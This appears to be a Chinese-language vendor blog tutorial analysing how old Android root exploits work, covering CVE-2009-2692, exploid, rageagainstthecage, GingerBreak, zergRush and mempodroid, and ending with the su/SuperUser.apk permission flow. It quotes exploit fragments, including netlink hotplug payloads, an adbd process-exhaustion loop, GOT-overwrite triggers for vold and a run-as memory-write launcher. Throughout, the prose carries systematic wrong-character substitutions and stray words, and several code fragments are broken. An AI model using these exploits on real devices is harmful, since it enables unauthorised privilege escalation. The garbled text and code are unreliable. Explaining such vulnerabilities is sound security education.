(愛加密系列教程十九)Android手機一鍵Root原理分析

一直以來,刷機與Root是Android手機愛好者最熱衷的事情。即便國行手機的用戶也不惜冒着失去保修的風險對Root手機樂此不疲。就在前天晚上,一年一度的Google I/O大會拉開了帷幕,最新的Android4.1系統成爲了大會的熱點,通過短短的幾個小時後,網上就有人泄露了JellyBean的下載地址,再而後就有了Android4.1帶Root的完整刷機包,真是強大的人們!

Root的由來
什麼是Root?Root自己是指Linux系統的root賬戶,該賬戶擁有整個系統至高無上的權利,系統中的全部對象它均可以操做,對於Android手機用戶來講的Root是指擁有Root權限,通常狀況下,手機廠商出於安全考慮會關閉手機的Root權限,手機系統是運行在普通用戶權限下的,用戶是沒法操做系統中的文件與數據的。
Root與刷機自己是有不少關聯的,並且隨着刷機工具的便利與刷機原理的變化,二者的關係更加是模糊不清了。不一樣廠商針對獲取Root權限設置了不一樣的要塞。
首先從刷機提及,如HTC手機在刷機前須要保證S-OFF,S-OFF表明什麼呢?S表明 SecurityLock安全鎖,保護鎖的意思,S-OFF就是關掉鎖保護。而後是Motorola的手機,這個廠商對於不一樣型號的手機設置是不一樣的,不少Motorola型號的手機將BootLoader是鎖住的,所以,在刷機前須要先解鎖BootLoader。還有中興手機,這廠商更是變態,一次次的版本升級只是爲了鎖住用戶不讓用戶升級,也就致使了同一型號的手機因爲版本不一樣有的型號帶Recovery,有的又不帶。三星的手機如今能夠說是最好賣的,一方面是出色的硬件配置與外觀,另外一方面是有衆多的Rom包能夠刷。三星的好幾款手機是Google源碼的測試樣機,並且三星手機在出廠時對用戶的限制相比其它品牌是較少的,這也是廣大Android開發者對它青睞有加的緣由。
早先的Android手機要想獲取Root權限能夠有如下幾種方式:
1. 使用本地提權漏洞利用工具來直接Root,這是最原始最純潔的方式。隨着廠商對Rom的升級,這些內核的漏洞隨時均可能被修補,所以,這種Root方法在時間與空間上都有着很大的侷限性。
2. 因爲手機廠商對硬件的封閉,加上內核補丁修補很徹底,這個時候獲取Root權限就更難了,這個時候刷機與Root就聯合起來了,因爲不能從系統內部經過Exploits來獲取Root權限,只能經過修改Rom包來達到Root的目的,這也是目前不少第三方Rom包自帶了Root的緣由,然而手機廠商也不是吃乾飯的,手機廠商在OTA升級時使用Recovery對包簽名進行驗證來防止用戶刷入修改過的包。對於這種變態的廠商,只能經過FastBoot來線刷了,這裏內容就再也不展開了。
3. 固然,還有一部分廠商,爲了吸引更多用戶購買他們的手機,仍是在手機中偷偷的留了後門的,好比不鎖BootLoader,讓用戶刷第三方的Recovery,又或是乾脆留個之前的漏洞不補,讓用戶本身來Exploits等等。
Root漏洞的歷史
Root漏洞不是與生俱來的,這是全世界優秀的計算機黑客不懈努力的成果。也許那個你在夜店喝酒的夜晚,他們正尋找着系統的漏洞,一次次的測試,一次次的失敗,最終在你醉得不省人事的時候,他們獲取到了系統的最高控制權。他們歡呼,他們嚎叫,他們是全天下是聰明的人!
也許你對他們的事蹟不屑一顧,但我相信你對他們的研究成果是饒有興趣的。下來由我來帶領你們,看看這一路走來,都出現過哪裏牛人,他們又爲咱們帶來了哪些驚喜。
CVE-2009-2692
我沒法知道Android提權漏洞是從哪一個開始的,但我在我印象中,它是最先的。這個漏洞的發現者是Zinx,他是探索Android安全之路的先驅。如今每一個Root後的手機中確定有SuperUser.apk軟件,而Zinx就是早先SuperUser的做者,如今SuperUser由ChainsDD來負責更新了,Zinx前輩常年混跡於國外xda論壇,不過如今好像不多露面了。
這個洞是09年的,如今早已經修補了。從Zinx提供的android-root-20090816.tar.gz壓縮包時間來看,這個Exploit是在Android NDK r1發佈後近兩個月公佈的,可見Zinx研究Android的時間是多麼的早!這個洞的原做者並非Znix,Znix只是將洞移植到了Android上,這個洞的做者在Exploit中給出的協議驅動程序包括pppox, bluetooth, appletalk, ipx, sctp,Znix改寫的Android版本使用的buletooth協議。這個漏洞的原由是sock_sendpage()的空指針解引用。由於sock_sendpage沒有對socket_file_ops結構的sendpage字段作指針檢查,有些模塊不具有sendpage功能,初始時賦爲NULL,這樣,沒有作檢查的sock_sendpage有可能直接調用空指針而致使出錯並提高權限!
接着,sendfile(fdout, fdin, NULL,PAGE_SIZE);的調用使得該洞被觸發,最終執行如下代碼獲取到Root權限:
int attribute((section(".null"))) root_sendpage(void*sk, void *page, int offset, size_t size, int flags)
{
current->uid =current->euid = 0;
current->gid =current->egid = 0;
got_root = 1;
return -ECONNREFUSED;
}
CVE-2010-EASY
這個漏洞是由「The Android Exploid Crew」小組發現的。在公佈的代碼中,提供了多達三種的提權方法!分別是exploid.c、exploid2.c、rageagainstthecage.c三個文件。
exploid.c與屬於exploid2.c同一類Exploit,這個洞的造成是因爲udev對熱插拔消息檢測不嚴致使的,用戶經過發送惡意信息讓內核加載自定義的惡意程序從而取得root權限。在代碼中,二者都是經過NET_LINK來完成通訊,只是在處理「geteuid() == 0」時代碼不一樣而以,程序發送僞熱插拔消息,讓內核執行自身代碼,而內核因爲沒有檢查消息發送者是內核仍是用戶,就匆忙的執行了,這時「geteuid() == 0」條件成立,接下來只需開個sh就完成了Root工做。建立Socket併發送消息的代碼以下:
if ((sock =socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)
die("[-] socket");android

close(creat("loading", 0666));
   if ((ofd = creat("hotplug",0644)) < 0)
          die("[-] creat");
   if (write(ofd, path , strlen(path)) <0)
          die("[-] write");
   close(ofd);
   symlink("/proc/sys/kernel/hotplug","data");
   snprintf(buf, sizeof(buf),"ACTION=add%cDEVPATH=/..%s%c"
           "SUBSYSTEM=firmware%c"
           "FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir,0);
   printf("[+] sending add message...\n");
   if (sendmsg(sock, &msg, 0) < 0)
          die("[-] sendmsg");
   close(sock);

rageagainstthecage.c這個洞有人把它稱爲setuid提權漏洞,這個漏洞的造成過程我我的感受只能用「巧妙」來形容!代碼經過將adbd後臺服務子進程耗盡迫使adbd重啓,adbd在重啓的時候具備root權限,正常狀況下這時adbd會調用setuid將權限降到shell,可是因爲rageagainstthecage讓adbd的殭屍進程充斥着整個系統,這時候setuid會調用失敗,最後adbd就被保留了root權限運行,從而完成root提權。核心代碼以下:
1 if (fork() > 0)
2 exit(0);
3
4 setsid();
5 pipe(pepe);
6
7 if (fork() == 0) {
8 close(pepe[0]);
9 for (;;) {
10 if ((p = fork()) ==0) {
11 exit(0);
12 } else if (p < 0){
13 if (new_pids){
14 printf("\n[+]Forked %d childs.\n", pids);
15 new_pids = 0;
16 write(pepe[1], &c, 1);
17 close(pepe[1]);
18 }
19 } else {
20 ++pids;
21 }
22 }
23 }
24 close(pepe[1]);
25 read(pepe[0],&c, 1);
第1-3行代碼fork子進程後退出,第4-6行子進程獨立並建立兩支管道同來同步進程,具體是由第8行與第25行是一關一讀來實現的,第10-11行是不停的建立子進程,而後不停退出,這時殭屍產生了!直到最後p < 0輸出建立的子進程數目。在這段代碼執行完後會重啓adb進程,adb進程重啓會執行setgid(AID_SHELL)與setuid(AID_SHELL)兩行代碼來降權,但是這時候因爲進程數達到上限setuid執行失敗,這就使得adb進程以Root權限繼續執行下去了。
GingerBreak
GingerBreak自己不是Linux內核漏洞,所以它沒有正規的漏洞編號。與上面的漏洞一樣的是,GingerBreak也是由「The Android Exploid Crew」小組「發明」的,它的工做原理與Hook相似,經過代碼修改/system/bin/vold程序的GOT表項,將strcmp()、atoi()等函數的地址爲system()函數的地址,而後觸發調用strcmp()或atoi()來達到執行system()的目的,然後者真正被執行後會爲咱們來帶久違的Root Shell,修改函數地址的代碼片段以下:
vold.pid= found;
vold.found= 1;
if(vold.system)
return;
ptr= find_symbol("system");
vold.system= (uint32_t)ptr;
在修改完函數地址後,就要考慮如何來觸發了,「The AndroidExploid Crew」小組再一次使用了NET_LINK進行通訊,經過發送熱插拔消息讓void中的strcmp()或atoi()被調用!但不一樣的Android系統版本可能操做起來有所不一樣,因而,須要手工構造消息,而後發送:
/Trigger any of the GOT overwriten strcmp(), atoi(), strdup() etc.
* inside vold main binary.
* Arent we smart? Using old school techniquefrom '99 to fsck NX while others
* re-invent "ROP". Wuhahahahaha!!!
*/
if(honeycomb) {
n= snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
"SEQNUM=%s%cDEVPATH=%s%c"
"MAJOR=%s%cMINOR=%s%cDEVTYPE=%s%cPARTN=1",
0, 0, 0, bsh, 0, bsh,0, bsh, 0, bsh, 0, bsh, 0);
}else if (froyo) {
n= snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
"DEVPATH=%s%c"
"MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1",
0, 0, 0, bsh, 0, 0,vold.system, 0, 0);
}else {
n= snprintf(buf, sizeof(buf), "%s;@%s%cACTION=%s%cSUBSYSTEM=%s%c"
"SEQNUM=%s%cDEVPATH=%s%c"
"MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1",
bsh, bsh, 0, bsh, 0,bsh, 0, bsh, 0, bsh, 0, 0, vold.system, 0, 0);
}
能夠看到,代碼的適用範圍是froyo到honeycomb,仔細看一下代碼的註釋部分,代碼的做者真的卡哇伊呢!
zergRush
同GingerBreak同樣,zergRush也不屬於內核漏洞。這個漏洞是大名鼎鼎的Revolutionary工具開發小組公佈的,這個小組開發的Revolutionary解鎖工具對於HTC的用戶應該不陌生吧!這個漏洞的原理是因爲libsysutils.so庫中的FrameworkListener::dispatchCommand函數的一個棧變量引發的,棧變量argv[FrameworkListener::CMD_ARGS_MAX]因爲容許的最大下標爲16,若是咱們特地傳送超過 16 個空格分割的字符串,函數就會溢出。
整個溢出工具的代碼框架與GingerBreak是同樣的,我估計是在GingerBreak代碼基礎上加工的,嘿嘿,整個代碼的核心部分在do_fault函數中,代碼設計十分巧妙,通過精心的構造最終執行安排的Shellcode,整個過程經過代碼閱讀很難在大腦中創建模型結構,建議仍是手動調試好。
以上介紹的幾個漏洞代碼都是優秀的,無可挑剔的,它們目前在全球各地以各類名稱與形式存在着。
CVE-2012-0056
2012年1月23日,正當咱們與家人聚在一塊兒吃團年飯的時候,國外的小夥zx2c4在本身的主頁上公佈了此漏洞,隨後,xda上的網友saurik對其編寫了Android版本的Exploit。這個漏洞的原理是利用系統中具體s屬性的程序經過自修改程序的內存,執行Shellcode達到得到Root權限的目的。完成修改進程內存的動做前須要解決兩個問題:
1. 系統只容許$pid進程或者$pid的調試進程對/proc/$pid/mem文件進行寫入。
2. 系統會檢查打開/poc/$pid/mem的程序的self_exec_id是否與當前運行的程序相同,一個進程使用exec()後self_exec_id會自動加一,以此來保護內存不會被別的程序修改。
解決第一個問題很簡單,能夠直接打開本身進程的內存便可,第二個問題就難辦了,由於進程打開本身時self_exec_id已經加一了,zx2c4使用子進程來巧妙的解決了這個問題,首先fork()子進程來保存進程的mem文件到CMSG_DATA,而後父進程使用dup(2)建立2號fd,接着dup2(mem,2)將mem的內容dup2給2號fd,這時2號fd指向了/poc/$pid/mem的fd,下一步是構造參數args,調用"/system/bin/run-as"來執行Exploit,代碼以下:
……
int save = dup(2);
dup2(mem, 2);
close(mem);
if (save != 3) {
dup2(save, 3);
close(save);
}
char self[1024];
_syscall(readlink("/proc/self/exe",self, sizeof(self) - 1));
char *args[4 + argc + 1];
args[0] = strdup("run-as");
args[1] = (char *) exploit;
args[2] = self;
args[3] = strdup("-");
int i;
for (i = 0; i != argc; ++i)
args[4 + i] = argv;
args[4 + i] = NULL;
_syscall(execv("/system/bin/run-as", args));
return 0;
漏洞利用程序在運行時須要提供三個參數exit()函數地址、setresuid()函數地址以及一個命令,如Root掉Galaxy Nexus手機能夠執行:./data/local/tmp/mempodroid0xd7f4 0xad4b sh
exit()與setresuid()函數地址的獲取很簡單,可使用objdump查找,可使用以下代碼來獲取:
intmain(void) {
void
lib = dlopen("libc.so", RTLD_NOW |RTLD_GLOBAL);
void* symbol;
if (lib == NULL) {
fprintf(stderr,"Could not open self-executable with dlopen(NULL) !!: %s\n",dlerror());
return 1;
}
symbol = dlsym(lib,"exit");
if (symbol == NULL) {
fprintf(stderr,"Could not lookup symbol exit !!: %s\n", dlerror());
return 2;
}
printf("exit()addr:%08x\n", symbol);
symbol = dlsym(lib,"setresuid");
if (symbol == NULL) {
fprintf(stderr,"Could not lookup symbol setresuid !!: %s\n", dlerror());
return 2;
}
printf("setresuid()addr:%08x\n", symbol);
dlclose(lib);
return 0;
}
這個漏洞目前是最新的,而且漏洞的補丁是Linux的父親Linus親自提交的。在最新ICS 4.0.2(ICL53F)之前的Android系統中,這個漏洞能夠正常工做。
su與SuperUser.apk是如何協做的
在Root後手機會植入su與superuser.apk兩個文件,前者會被放入手機的/system/bin目錄下,後者被放到/system/app目錄下,它們組合在一塊兒,爲系統提供了su權限的管理。這兩個工具目前由xda論壇上的ChainsDD在維護(順便說一下,國內xxRoot工具也有自已的su與SuperUser.apk文件,修改取自並修改於ChainsDD的代碼,而且版權被切)。
su程序與Linux平臺上的su自己無太大差異,只是因爲系統的特殊性去掉了部份內容,並加上了一些控制代碼。su程序保留的命令行參數很少,「-c」與「-s」多是最經常使用的,整個程序核心功能由兩個方向性的函數allow()與deny()組成,在通過計算獲取到了命令行參數與命令後,會執行如下代碼:
if(su_from.uid == AID_ROOT || su_from.uid == AID_SHELL)
allow(shell, orig_umask);
if (stat(REQUESTOR_DATA_PATH, &st) < 0) {
PLOGE("stat");
deny();
}
……
setgroups(0, NULL);
setegid(st.st_gid);
seteuid(st.st_uid);
AID_ROOT與AID_SHELL分別是root與shell權限,程序直接放行,stat()函數會檢查手機是否安裝有SuperUser.apk,沒有程序會拒絕執行。條件知足就會以Superuser的權限往下執行:
db =database_init();
if (!db) {
LOGE("sudb - Could not open database,prompt user");
dballow = DB_INTERACTIVE;
} else {
LOGE("sudb - Database opened");
dballow = database_check(db, &su_from,&su_to);
sqlite3_close(db);
db = NULL;
LOGE("sudb - Database closed");
}
switch (dballow){
case DB_DENY: deny();
case DB_ALLOW: allow(shell,orig_umask);
case DB_INTERACTIVE: break;
default: deny();
}
database_init()與database_check()負責從SuperUser.apk程序databases目錄下的permissions.sqlite數據庫中讀取權限設置,這也是爲何SuperUser.apk有能力控制su的緣由!(人家主動找上門的)等dballow弄到手,該放行該拒絕就看着辦了,若是沒搜索到記錄就表明是第一次,須要往下創建socket來send_intent,send_intent()採用底層構造Intent方式來發送廣播,這個廣播會被SuperUser.apk接收,等返回後會給你返回個字符串「ALLOW」或「DENY」,這時候su程序該咋地就咋地了:
if(send_intent(&su_from, &su_to, socket_path, -1, 0) < 0) {
deny();
}
if(socket_receive_result(socket_serv_fd, buf, sizeof(buf)) < 0) {
deny();
}
……
if (!strcmp(result, "DENY")) {
deny();
} else if(!strcmp(result, "ALLOW")) {
allow(shell, orig_umask);
} else {
LOGE("unknown response from SuperuserRequestor: %s", result);
deny();
}
下面是SuperUser.apk的工做了,上面的廣播會被SuperUser.apk的SuRequestReceiver廣播接收者收到,廣播接收者首先讀取prompt設置,若是用戶要的是自動處理,那就根據這個值來對Root權限請求自動拒絕或自動放行,若是不自動處理,就到數據庫中搜索權限規則,並根據結果發回處理,另外SuperUser除了對普通的程序進程su權限控制外,還提供了NFC、SecretCode、PinCode的監控,SuperUser同時註冊了安裝與卸載Apk的廣播接收者,在安裝與卸載時會對權限數據庫中的條目進行更新或刪除操做,限於篇幅,SuperUser的詳細實如今此就再也不展開了。sql

更多內容,期待您的探索,請關注愛加密,讓您精彩不斷!
愛加密官方地址:http://www.ijiami.cn/
App安全檢測平臺(http://safe.ijiami.cn)。shell

相關文章
相關標籤/搜索